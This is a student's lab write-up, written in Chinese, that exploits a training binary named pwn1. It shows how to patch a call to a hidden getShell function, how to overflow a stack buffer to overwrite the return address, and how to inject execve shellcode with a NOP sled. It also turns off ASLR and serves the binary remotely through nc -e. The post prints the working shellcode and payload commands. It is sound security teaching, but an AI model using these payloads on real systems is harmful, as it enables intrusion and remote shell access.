Exp1 PC平台逆向破解

1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:
    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

1.2 基础知识

该实践需要同学们

  • 熟悉Linux基本操作
    • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。

当然,如果还不懂,通过这个过程能对以上概念有了更进一步的理解就更好了。

  • 指令、参数
    • 这些东西,我自己也记不住,都是用时现查的。
    • 所以一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
    • 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
  • 操作成功不重要,照着敲入指令肯定会成功。
  • 重要的是理解思路。
    • 看指导理解思路,然后抛开指导自己做。
    • 碰到问题才能学到知识。
    • 具体的指令可以回到指导中查。

1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP 机器码为0x90——空指令。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
  • JNE 机器码为0x75——条件转移指令,如果不相等则跳转。
  • JE 机器码为0x74——条件转移指令,如果相等则跳转。
  • JMP 机器码为0xE9、EB、FF、EA ——无条件转移指令。段内直接短转Jmp short(机器码:EB);段内直接近转移Jmp near(机器码:E9);段内间接转移 Jmp word(机器码:FF);段间直接(远)转移Jmp far(机器码:EA)
  • CMP 机器码为0x38-0x3D——比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2、掌握反汇编与十六进制编程器

反汇编指令:

objdump -d xxx | more   //反汇编指令查看机器代码

-d 表示反汇编,xxx 为可执行文件,| 为管道符,more为分页指令

  • 十六进制编程器
    用来以16进制视图进行文本编辑的编辑工具软件。十六进制编辑器可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等。

    vim <filename>: 以ASCII码形式显示可执行文件的内容
    :%!xxd: 将显示模式切换为16进制模式
    :%!xxd: 将16进制切换回ASCII码模式
    

二、实验内容

1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

首先查看文件类型,因为是复制粘贴进去的,所以修改一下权限,然后备份一下

image-20230222165333346

  1. 对目标文件进行反汇编
objdump -d pwn1 | more

odjdump

objdump命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。

-d:从objfile中反汇编那些特定指令机器码的section。

more是指,利用more命令进行展示,太长了.....

image-20230222165527933

image-20230222165903815

其中,这个call是核心

  1. "call 8048491 "是汇编指令,EIP寄存器的值为0x80484ba
  • 这条指令将调用位于地址8048491处的foo函数;
  • 其对应机器指令为“e8 d7 ff ff ff”,e8即跳转之意。
  • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
  • call指令对应的机器指令的后四字节与EIP存储的地址相加即为调用函数地址。
  1. main函数调用foo,对应机器指令为“ e8 d7 ff ff ff”,
    • 那我们想让它调用getShell,只要修改“d7 ff ff ff”为,"getShell-80484ba"对应的补码就行。
    • 用计算器,直接 47d-4ba就能得到补码,是c3 ff ff ff(小端存储)。

call 子程序调用,返回指令

EIP 指令指针寄存器,其内存放着一个指针,该指针永远指向下一条等待执行的指令地址。

可以说如果控制了EIP的内容,就控制了进程——我们让EIP指向哪里,CPU就会执行哪里的命令。

修改可执行文件,将call指令的目标地址由d7 ff ff ff变为c3 ff ff ff。

vi pwn1       //进入vim编辑器编辑
:%!xxd     //在vim中按ESC键,输入,将显示模式切换成16进制
/e8 d7      //查找要修改的内容,e8 d7中间须有空格

image-20230222185637390

image-20230223111238351

我们使用vim进行修改,记住,换成2进制查看后,进行修改,

可以用r进行单字符修改,但是记住,需要把2进制格式,变成正常格式后,进行wd保存

否则会因为不符合2进制文档的效果而导致报错

image-20230223195556643

显示修改成功

我们重新运行,看看效果

image-20230223195948784

成功实现!

2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

知识要求:堆栈结构,返回地址
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
进阶:掌握ELF文件格式,掌握动态技术

  1. 反汇编,了解程序的基本功能

    在此实验中,我们使用未经修改的备份pwn2进行操作,该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞,我们要做的就是利用BOF漏洞触发getshell函数。

image-20230224145456260

我们对目标文件进行反汇编

从汇编语言可以看出,这里读入字符串,但系统只预留了0x1c,即28字节的缓冲区,超出部分会造成溢出,上面的call调用foo,同时在堆栈上压上返回地址0x80484ba.

因此,该实验要做的就是利用foo函数的BOF漏洞,覆盖返回地址。

  1. 确认输入字符串,哪个字符会覆盖到返回地址。

当然由于预留的缓冲区为28字节,超过28字节即发生溢出,但是发生溢出是否就能正确覆盖返回地址?答案当然是否定的。

由于EBP的寄存器为4字节,因此我们推断字符串的第33-36位才能覆盖返回地址。

如果输入字符串1111111122222222333333334444444412345678,那1234四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符,替换成getshell的内存地址,输给pwn2,他就会运行getshell。

进入gdb进行调试

image-20230224152039130

EIP的值是0x34333231 对应的字符串为33-36位(1234)

注意:这里的EIP的值是ASCII码

因此CPU会尝试运行这个位置的代码,但是这个地址没有任何意义,所以发生段报错

3.确认用什么值来覆盖返回地址

接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

从上步中查询的EIP的值为0x34333231得知,小端存储应输入11111111222222223333333344444444\x7d\x84\x04\x08。

4、构造输入字符串

因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

image-20230226225525935

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
//Perl语言
//-e 直接执行
//> 为输出重定向,将Perl生成的字符串存储到input文件中
xxd input      //可以使用16进制查看指令xxd查看input文件的内容是否如预期
(cat input; cat) | ./pwn2        //然后将input的输入,通过管道符“|”,作为pwn2的输入。

image-20230226225916553

注入shellcode并执行

1、准备一段Shellcode

shellcode就是一段机器指令(code)

通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)

所以这段机器指令被称为shellcode

在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令

实践用Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2、准备工作

安装prelink

sudo apt-get install prelink

如果无法定位软件包,可以去手动下载prelink的压缩包,安装

Copytar -xvf prelink_0.0.20130503.orig.tar.bz2
sudo apt-get install libelf-dev 
cd prelink
./configure
make
sudo make install

后续的,因为涉及底层,为了更方便操作,避免系统崩溃,我从WSL2换成了docker的pwn机器

image-20230226233944347

修改设置

execstack -s pwn2    //设置堆栈可执行
execstack -q pwn2    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space     
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

因为后期发现wsl和docker的监听有问题,我们重新使用kali进行操作

image-20230307221038289

该实验的预设条件有:

  • 关闭堆栈保护
  • 关闭堆栈执行保护
  • 关闭地址随机化
  • 在x32环境下
  • 在Linux实践环境下

我们使用checksec看一下

image-20230307221237401

发现已经全部关闭

3、构造要输入的payload

Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode
nop+shellcode+retaddr

因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

nop:空指令。一为是了填充,二是作为“着陆区/滑行区”。

我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

猜测一个范围的地址即可,降低猜测难度。

构造Shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

注意

  • 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
  • 特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了(为了调试 不跳转)。
  • 如果出现了报错,尽管不影响正常执行,可以尝试在运行前输入语句export LC_ALL=C即可

打开终端输入这段攻击BUF

本次实验直接使用已经构造好的shellcode,代码如下

(cat input_shellcode;cat) | ./pwn2

同时打开两个终端进行调试

image-20230307221815557

ps -ef | grep pwn2     //找到pwn2的进程号
gdb    //启动gdb调试这个进程
attach 230    //绑定进程

disassemble foo    //通过设置断点,来查看注入buf的内存地址
break *0x080484ae   //设置断点
//在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
c
info r esp     //获取栈顶值
x/16x 0xffffd11c    //x 显示  16x 16个字符      找到返回地址0x01020304
x/16x 0xffffd100    //往前推,直到看见0x90,以及Shellcode的起始地址
c
q

image-20230307222538140

然后我们修改payload

image-20230308083530370

但是发现遇到了问题

再重复步骤查看问题

image-20230308083833279

发现看似没有问题,但是我们再进行单步调试

image-20230308083959925

我们发现问题可能是我的代码也在堆栈上,当前栈顶也在这,一push就把指令自己给覆盖了。

然后我们重新开始,跳回到原来的步骤看一下

结构为:anything+retaddr+nops+shellcode。

image-20230308084456419

perl -e 'print "A" x 32;print "\x30\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd0\xff\xff\x00"' > input_shellcode

image-20230308085649317

成功了!!

注意这个事实:以上实践是在非常简单的一个预设条件下完成的:

(1)关闭堆栈保护(gcc [-fno-stack-protector] )

(2)关闭堆栈执行保护(execstack -s)

(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

(4)在x32环境下

(5)在Linux实践环境

可以继续研究更换以上任何一个条件下如何继续bof攻击。

4.5 结合nc模拟远程攻击

该实验在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。

本例我使用了两个主机,一个是vmware的kali,另一个是wsl的kali

两者可以相互ping通

image-20230311145704404

image-20230311145753563

主机1,模拟一个有漏洞的网络服务:

root:~# nc -l 127.0.0.1 -p 28234  -e ./pwn1

-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入

image-20230311143035457

主机2,连接主机1并发送攻击载荷:

root@KaliYL:~# (cat input_shellcode; cat) | nc 127.0.0.1 28234
输入shell指令
ls

image-20230311143056408

以上是同一台主机,我们使用两台主机

image-20230311150141455

image-20230311150201394

Bof攻击防御技术

5.1. 从防止注入的角度。

在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。

GCC 中的编译器堆栈保护技术

5.2. 注入入了也不让运行。

结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。

这一部分的execstack可以通过前面的prelink进行安装,在此不再重述。

Linux可执行文件堆栈执行标识设置

5.3. 增加shellcode的构造难度。

shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

image-20230311152251995

5.4 从管理的角度

加强编码质量。注意边界检测。使用最新的安全的库函数。

遇到的问题

%!xxd显示zsh找不到命令

解决方法:原本使用网上的修改.zshrc配置项方法,发现没有用,而且环境变化很大,所以没有使用,本来想用IDA进行解决,但是发现利用sudo apt install可以安装上xxd,然后就都成功解决了。

执行pwn1文件的时候,显示权限不足,使用sudo也不可以

确实是因为权限不足的问题,但不清楚为什么使用root用户也不能进行操作,我们使用chmod 777 +文件进行权限的修改,成功解决。

实验感想

本次实验是我第一次做pwn相关的操作,因为比Web更偏底层,所以问题也有很多,收获也有很多。

首先是汇编代码看不明白,这是很大的问题,因为很多栈的初始化操作在汇编代码上表示出来了,看不懂的话就很难找到返回地址;

其次是栈区的结构,还是不好理解,我通过查找书籍,初步理解了本次实验的文件运行结构,不了解基本原理,我发现很难完成此次实验;

最后是在试验机的问题上,因为我平时用wsl和docker为主,但是此次实验对网络和并发监听要求较高,而docker的并发监听很困难,wsl的网络配置,因为封装原因,

我查找了很多资料,没办法ping通主机上的虚拟机,最后使用了vmware的kali进行操作,所以在本文中会有很多种类型的机器出现。

当然,因为不同实验机的相互交换,使得我重复了第四步非常多次实验,理解也更深入。

最后还是那句话,真的很爱实践,因为实践才能真的将大脑的知识用起来,活起来。

posted @ 2023-03-14 20:57  B1smarck  阅读(46)  评论(0编辑  收藏  举报